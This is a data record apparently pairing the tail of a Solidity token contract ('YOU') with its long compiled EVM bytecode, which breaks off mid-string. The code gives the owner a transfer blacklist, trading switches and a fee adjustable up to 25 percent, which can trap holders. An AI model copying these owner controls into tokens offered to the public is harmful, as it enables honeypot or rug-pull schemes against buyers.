if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_summedTax = teamFee;
}
}
|
0x6080604052600436106101855760003560e01c806395d89b41116100d1578063cba0e9961161008a578063dd62ed3e11610064578063dd62ed3e1461053f578063e01af92c1461057c578063e47d6060146105a5578063f2fde38b146105e25761018c565b8063cba0e996146104ae578063d00efb2f146104eb578063d543dbeb146105165761018c565b806395d89b41146103c6578063a9059cbb146103f1578063b515566a1461042e578063c0e6b46e14610457578063c3c8cd8014610480578063c9567bf9146104975761018c565b8063313ce5671161013e5780636fc3eaec116101185780636fc3eaec1461033057806370a0823114610347578063715018a6146103845780638da5cb5b1461039b5761018c565b8063313ce567146102b35780635932ead1146102de5780636b5caec4146103075761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd14610224578063273123b714610261578063286671621461028a5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661060b565b6040516101b391906137a9565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061333c565b610648565b6040516101f0919061378e565b60405180910390f35b34801561020557600080fd5b5061020e610666565b60405161021b91906139ab565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906132ed565b610675565b604051610258919061378e565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190613236565b61074e565b005b34801561029657600080fd5b506102b160048036038101906102ac919061340b565b61083e565b005b3480156102bf57600080fd5b506102c861092e565b6040516102d59190613a20565b60405180910390f35b3480156102ea57600080fd5b50610305600480360381019061030091906133b9565b610937565b005b34801561031357600080fd5b5061032e60048036038101906103299190613236565b6109e9565b005b34801561033c57600080fd5b50610345610ad9565b005b34801561035357600080fd5b5061036e60048036038101906103699190613236565b610b7f565b60405161037b91906139ab565b60405180910390f35b34801561039057600080fd5b50610399610bd0565b005b3480156103a757600080fd5b506103b0610d23565b6040516103bd919061374a565b60405180910390f35b3480156103d257600080fd5b506103db610d4c565b6040516103e891906137a9565b60405180910390f35b3480156103fd57600080fd5b506104186004803603810190610413919061333c565b610d89565b604051610425919061378e565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190613378565b610da7565b005b34801561046357600080fd5b5061047e6004803603810190610479919061340b565b610ef7565b005b34801561048c57600080fd5b50610495611006565b005b3480156104a357600080fd5b506104ac6110b4565b005b3480156104ba57600080fd5b506104d560048036038101906104d09190613236565b6112f3565b6040516104e2919061378e565b60405180910390f35b3480156104f757600080fd5b50610500611349565b60405161050d91906139ab565b60405180910390f35b34801561052257600080fd5b5061053d6004803603810190610538919061340b565b61134f565b005b34801561054b57600080fd5b50610566600480360381019061056191906132b1565b611496565b60405161057391906139ab565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e91906133b9565b61151d565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190613236565b6115cf565b6040516105d9919061378e565b60405180910390f35b3480156105ee57600080fd5b5061060960048036038101906106049190613288565b611625565b005b60606040518060400160405280600381526020017f594f550000000000000000000000000000000000000000000000000000000000815250905090565b600061065c6106556117e7565b84846117ef565b6001905092915050565b600066038d7ea4c68000905090565b60006106828484846119ba565b6107438461068e6117e7565b61073e856040518060600160405280602881526020016141ae60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f46117e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b69092919063ffffffff16565b6117ef565b600190509392505050565b6107566117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107da906138eb565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108466117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ca906138eb565b60405180910390fd5b600181101580156108e5575060198111155b610924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091b9061386b565b60405180910390fd5b8060108190555050565b60006009905090565b61093f6117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c3906138eb565b60405180910390fd5b80601960176101000a81548160ff02191690831515021790555050565b6109f16117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a75906138eb565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae16117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b65906138eb565b60405180910390fd5b6000479050610b7c8161241a565b50565b6000610bc9600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253f565b9050919050565b610bd86117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c906138eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f594f550000000000000000000000000000000000000000000000000000000000815250905090565b6000610d9d610d966117e7565b84846119ba565b6001905092915050565b610daf6117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e33906138eb565b60405180910390fd5b60005b8151811015610ef357600160136000848481518110610e87577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610eeb90613cd3565b915050610e3f565b5050565b610eff6117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f83906138eb565b60405180910390fd5b60008111610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc6906138ab565b60405180910390fd5b610ffd612710610fef8366038d7ea4c680006125ad90919063ffffffff16565b61262890919063ffffffff16565b60128190555050565b61100e6117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611092906138eb565b60405180910390fd5b60006110a630610b7f565b90506110b181612672565b50565b6110bc6117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611140906138eb565b60405180910390fd5b601960149054906101000a900460ff1615611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061396b565b60405180910390fd5b6001601960166101000a81548160ff0219169083151502179055506000601960176101000a81548160ff02191690831515021790555066038d7ea4c68000601a8190555043601b819055506001601960146101000a81548160ff021916908315150217905550601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161129e929190613765565b602060405180830381600087803b1580156112b857600080fd5b505af11580156112cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f091906133e2565b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b6113576117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113db906138eb565b60405180910390fd5b60008111611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e906138ab565b60405180910390fd5b61145460646114468366038d7ea4c680006125ad90919063ffffffff16565b61262890919063ffffffff16565b601a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601a5460405161148b91906139ab565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115256117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a9906138eb565b60405180910390fd5b80601960166101000a81548160ff02191690831515021790555050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61162d6117e7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b1906138eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561172a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117219061380b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561185f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118569061394b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c69061382b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119ad91906139ab565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a219061392b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a91906137cb565b60405180910390fd5b60008111611add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad49061390b565b60405180910390fd5b611ae5610d23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b535750611b23610d23565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bd57601960179054906101000a900460ff1615611d86573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bd557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2f5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c895750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d8557601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ccf6117e7565b73ffffffffffffffffffffffffffffffffffffffff161480611d455750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d2d6117e7565b73ffffffffffffffffffffffffffffffffffffffff16145b611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b9061398b565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611dc957601a54811115611dc857600080fd5b5b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e6d5750601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec35750601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ecc57600080fd5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f775750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611fcd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fe55750601960179054906101000a900460ff165b156120865742601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061203557600080fd5b600f426120429190613ae1565b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061209130610b7f565b905060125481106120a25760125490505b60006011548210159050601960159054906101000a900460ff161580156120d55750601960169054906101000a900460ff165b80156120de5750805b80156121385750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121925750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156121ba576121a082612672565b600047905060008111156121b8576121b74761241a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122645750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226e57600090505b612276610d23565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156122e457506122b4610d23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561233e5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156123a357601960169054906101000a900460ff16612392576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123899061384b565b60405180910390fd5b61239e8484848461298c565b6123b0565b6123af8484848461298c565b5b50505050565b60008383111582906123fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f591906137a9565b60405180910390fd5b506000838561240d9190613bc2565b9050809150509392505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61247f600c54612471600e548661262890919063ffffffff16565b6125ad90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124aa573d6000803e3d6000fd5b50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612510600954612502600e548661262890919063ffffffff16565b6125ad90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561253b573d6000803e3d6000fd5b5050565b6000600654821115612586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257d906137eb565b60405180910390fd5b6000612590612a94565b90506125a5818461262890919063ffffffff16565b915050919050565b6000808314156125c05760009050612622565b600082846125ce9190613b68565b90508284826125dd9190613b37565b1461261d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612614906138cb565b60405180910390fd5b809150505b92915050565b600061266a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612abf565b905092915050565b6001601960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156126d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061273c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127de57600080fd5b505afa1580156127f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612816919061325f565b81600181518110612850577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128d730601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6117ef565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161293b9594939291906139c6565b600060405180830381600087803b15801561295557600080fd5b505af1158015612969573d6000803e3d6000fd5b50505050506000601960156101000a81548160ff02191690831515021790555050565b6000829050816129a35761299e612b22565b612a74565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612a0657612a01612b53565b612a73565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612a6957612a64612b70565b612a72565b612a71612b70565b5b5b5b612a7f858583612b8d565b81612a8d57612a8c612d58565b5b5050505050565b6000806000612aa1612d75565b91509150612ab8818361262890919063ffffffff16565b9250505090565b60008083118290612b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612afd91906137a9565b60405180910390fd5b5060008385612b159190613b37565b9050809150509392505050565b6000600854148015612b3657506000601054145b15612b4057612b51565b600060088190555060006010819055505b565b600c54600b81905550600954600881905550600b54601081905550565b600a54600881905550600d54600b81905550600d54601081905550565b600080600080600080612b9f87612dd1565b955095509550955095509550612bfd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cde81612ee1565b612ce88483612f9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612d4591906139ab565b60405180910390a3505050505050505050565b600954600881905550600c54600b81905550600b54601081905550565b60008060006006549050600066038d7ea4c680009050612da766038d7ea4c6800060065461262890919063ffffffff16565b821015612dc45760065466038d7ea4c68000935093505050612dcd565b81819350935050505b9091565b6000806000806000806000806000612dee8a600854601054612fd8565b9250925092506000612dfe612a94565b90506000806000612e118e878787613099565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612e7b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123b6565b905092915050565b6000808284612e929190613ae1565b905083811015612ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ece9061388b565b60405180910390fd5b8091505092915050565b6000612eeb612a94565b90506000612f0282846125ad90919063ffffffff16565b9050612f5681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612fb382600654612e3990919063ffffffff16565b600681905550612fce81600754612e8390919063ffffffff16565b6007819055505050565b60008060008060008611612fed576001612fef565b855b90506000808611613001576001613003565b855b9050600061302d606461301f858c6125ad90919063ffffffff16565b61262890919063ffffffff16565b905060006130576064613049858d6125ad90919063ffffffff16565b61262890919063ffffffff16565b9050600061308082613072858e612e3990919063ffffffff16565b612e3990919063ffffffff16565b9050808383975097509750505050505093509350939050565b6000806000806130b285896125ad90919063ffffffff16565b905060006130c986896125ad90919063ffffffff16565b905060006130e087896125ad90919063ffffffff16565b90506000613109826130fb8587612e3990919063ffffffff16565b612e3990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061313561313084613a60565b613a3b565b9050808382526020820190508285602086028201111561315457600080fd5b60005b85811015613184578161316a888261318e565b845260208401935060208301925050600181019050613157565b5050509392505050565b60008135905061319d81614151565b92915050565b6000815190506131b281614151565b92915050565b6000813590506131c781614168565b92915050565b600082601f8301126131de57600080fd5b81356131ee848260208601613122565b91505092915050565b6000813590506132068161417f565b92915050565b60008151905061321b8161417f565b92915050565b60008135905061323081614196565b92915050565b60006020828403121561324857600080fd5b60006132568482850161318e565b91505092915050565b60006020828403121561327157600080fd5b600061327f848285016131a3565b91505092915050565b60006020828403121561329a57600080fd5b60006132a8848285016131b8565b91505092915050565b600080604083850312156132c457600080fd5b60006132d28582860161318e565b92505060206132e38582860161318e565b9150509250929050565b60008060006060848603121561330257600080fd5b60006133108682870161318e565b93505060206133218682870161318e565b925050604061333286828701613221565b9150509250925092565b6000806040838503121561334f57600080fd5b600061335d8582860161318e565b925050602061336e85828601613221565b9150509250929050565b60006020828403121561338a57600080fd5b600082013567ffffffffffffffff8111156133a457600080fd5b6133b0848285016131cd565b91505092915050565b6000602082840312156133cb57600080fd5b60006133d9848285016131f7565b91505092915050565b6000602082840312156133f457600080fd5b60006134028482850161320c565b91505092915050565b60006020828403121561341d57600080fd5b600061342b84828501613221565b91505092915050565b6000613440838361344c565b60208301905092915050565b61345581613bf6565b82525050565b61346481613bf6565b82525050565b600061347582613a9c565b61347f8185613abf565b935061348a83613a8c565b8060005b838110156134bb5781516134a28882613434565b97506134ad83613ab2565b92505060018101905061348e565b5085935050505092915050565b6134d181613c1a565b82525050565b6134e081613c5d565b82525050565b60006134f182613aa7565b6134fb8185613ad0565b935061350b818560208601613c6f565b61351481613da9565b840191505092915050565b600061352c602383613ad0565b915061353782613dba565b604082019050919050565b600061354f602a83613ad0565b915061355a82613e09565b604082019050919050565b6000613572602683613ad0565b915061357d82613e58565b604082019050919050565b6000613595602283613ad0565b91506135a082613ea7565b604082019050919050565b60006135b8600d83613ad0565b91506135c382613ef6565b602082019050919050565b60006135db601b83613ad0565b91506135e682613f1f565b602082019050919050565b60006135fe601b83613ad0565b915061360982613f48565b602082019050919050565b6000613621601d83613ad0565b915061362c82613f71565b602082019050919050565b6000613644602183613ad0565b915061364f82613f9a565b604082019050919050565b6000613667602083613ad0565b915061367282613fe9565b602082019050919050565b600061368a602983613ad0565b915061369582614012565b604082019050919050565b60006136ad602583613ad0565b91506136b882614061565b604082019050919050565b60006136d0602483613ad0565b91506136db826140b0565b604082019050919050565b60006136f3601783613ad0565b91506136fe826140ff565b602082019050919050565b6000613716601183613ad0565b915061372182614128565b602082019050919050565b61373581613c46565b82525050565b61374481613c50565b82525050565b600060208201905061375f600083018461345b565b92915050565b600060408201905061377a600083018561345b565b613787602083018461372c565b9392505050565b60006020820190506137a360008301846134c8565b92915050565b600060208201905081810360008301526137c381846134e6565b905092915050565b600060208201905081810360008301526137e48161351f565b9050919050565b6000602082019050818103600083015261380481613542565b9050919050565b6000602082019050818103600083015261382481613565565b9050919050565b6000602082019050818103600083015261384481613588565b9050919050565b60006020820190508181036000830152613864816135ab565b9050919050565b60006020820190508181036000830152613884816135ce565b9050919050565b600060208201905081810360008301526138a4816135f1565b9050919050565b600060208201905081810360008301526138c481613614565b9050919050565b600060208201905081810360008301526138e481613637565b9050919050565b600060208201905081810360008301526139048161365a565b9050919050565b600060208201905081810360008301526139248161367d565b9050919050565b60006020820190508181036000830152613944816136a0565b9050919050565b60006020820190508181036000830152613964816136c3565b9050919050565b60006020820190508181036000830152613984816136e6565b9050919050565b600060208201905081810360008301526139a481613709565b9050919050565b60006020820190506139c0600083018461372c565b92915050565b600060a0820190506139db600083018861372c565b6139e860208301876134d7565b81810360408301526139fa818661346a565b9050613a09606083018561345b565b613a16608083018461372c565b9695505050505050565b6000602082019050613a35600083018461373b565b92915050565b6000613a45613a56565b9050613a518282613ca2565b919050565b6000604051905090565b600067ffffffffffffffff821115613a7b57613a7a613d7a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613aec82613c46565b9150613af783613c46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b2c57613b2b613d1c565b5b828201905092915050565b6000613b4282613c46565b9150613b4d83613c46565b925082613b5d57613b5c613d4b565b5b828204905092915050565b6000613b7382613c46565b9150613b7e83613c46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bb757613bb6613d1c565b5b828202905092915050565b6000613bcd82613c46565b9150613bd883613c46565b925082821015613beb57613bea613d1c565b5b828203905092915050565b6000613c0182613c26565b9050919050565b6000613c1382613c26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c6882613c46565b9050919050565b60005b83811015613c8d578082015181840152602081019050613c72565b83811115613c9c576000848401525b50505050565b613cab82613da9565b810181811067ffffffffffffffff82111715613cca57613cc9613d7a565b5b80604052505050565b6000613cde82613c46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d1157613d10613d1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f537761702064697361626c656400000000000000000000000000000000000000600082015250565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f5361666